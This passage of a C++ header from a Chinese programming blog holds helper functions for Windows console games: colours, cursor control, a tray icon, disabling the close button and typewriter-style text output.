#include <sys/stat.h>
#include <tchar.h>

using namespace std;

namespace console_game{
	
	#define WM_SYSTEMTRAY      WM_USER+100
	
	enum Click{
		#define Down 80
		#define Up 72
		#define Left 75
		#define Right 77
		#define Space 32
	};	
	#define FUNCTION inline void
	
	BOOL isFileExists(string name) {
	    ifstream f(name.c_str(), ios::in);
	    return f.good();
	}
	POINT Windowpos()
	{
	    POINT p;
	    GetCursorPos(&p);
	    HWND h = GetForegroundWindow();
	    ScreenToClient(h,&p);
	    p.x /= 8;
		p.y /= 16;
	    return p; 
	}
	
	void color(int a)
	{
   		SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),a);
	}

	FUNCTION HideCursor()
	{
		HANDLE handle = GetStdHandle(STD_OUTPUT_HANDLE);
		CONSOLE_CURSOR_INFO CursorInfo;
		GetConsoleCursorInfo(handle, &CursorInfo);//获取控制台光标信息
		CursorInfo.bVisible = false; //隐藏控制台光标
		SetConsoleCursorInfo(handle, &CursorInfo);//设置控制台光标状态
	}
	
	FUNCTION scolor(int ForgC, int BackC){
		WORD wColor = ((BackC & 0x0F) << 4) + (ForgC & 0x0F);
		SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), wColor);
	}
	
	FUNCTION syscolor(char colors[5])
	{
		char t[100];
		sprintf(t, "color %s", colors);
		system(t);
	}
	
	void Presverss(NOTIFYICONDATA NotifyIcon)
	{
	//	HICON m_icon;
	    NotifyIcon.cbSize = sizeof(NOTIFYICONDATA);
	    //NotifyIcon.hIcon = LoadIcon(NULL, info);
	    NotifyIcon.hWnd = GetConsoleWindow();
	    _tcscpy(NotifyIcon.szTip, _T("Sound Player"));
	    //NotifyIcon.szTip = ;
	    NotifyIcon.uCallbackMessage = WM_SYSTEMTRAY;
	    NotifyIcon.uFlags = NIF_ICON | NIF_MESSAGE | NIF_TIP;
	 	Shell_NotifyIcon(NIM_ADD, &NotifyIcon);  //添加系统托盘
	}
	
	void NOTIFYICON(NOTIFYICONDATA NotifyIcon)
	{
		Shell_NotifyIcon(NIM_ADD, &NotifyIcon);
		Presverss(NotifyIcon);
	}
	
	VOID KillConsoleCloseButton(VOID) {
		DeleteMenu(GetSystemMenu(GetConsoleWindow(), FALSE),  SC_CLOSE, MF_DISABLED);
		DrawMenuBar(GetConsoleWindow());
	}
	
	VOID OpenConsoleCloseButton(VOID) {
		DeleteMenu(GetSystemMenu(GetConsoleWindow(), TRUE), SC_CLOSE, MF_DISABLED);
		DrawMenuBar(GetConsoleWindow());
	}	
	
	FUNCTION Pause()
	{
		system("pause");
	}
	
	FUNCTION Cls()
	{
		system("cls");
	}
	
	FUNCTION ModeWindow(int cols, int lines)
	{
	
		char t[1000];
		sprintf(t, "mode con cols=%d lines=%d", cols, lines);
		system(t);
	}
	
	FUNCTION gotoxy(int x,int y)
	{
	    COORD Pos;
	    Pos.X = y;
	    Pos.Y = x;
	    SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),Pos);
	}
	
	FUNCTION SlowSay(const char * text, float time_s)
	{
	    while (1)
	    {
	        if (*text != 0)
	        {
	            printf("%c", *text++);
	        }
	        else
	        {
	            break;
	        }
	        _sleep(time_s * 1000);
	    }
	}
		
}


#endif

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

快乐星空Maker

你的鼓励是我创作的最大动力!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值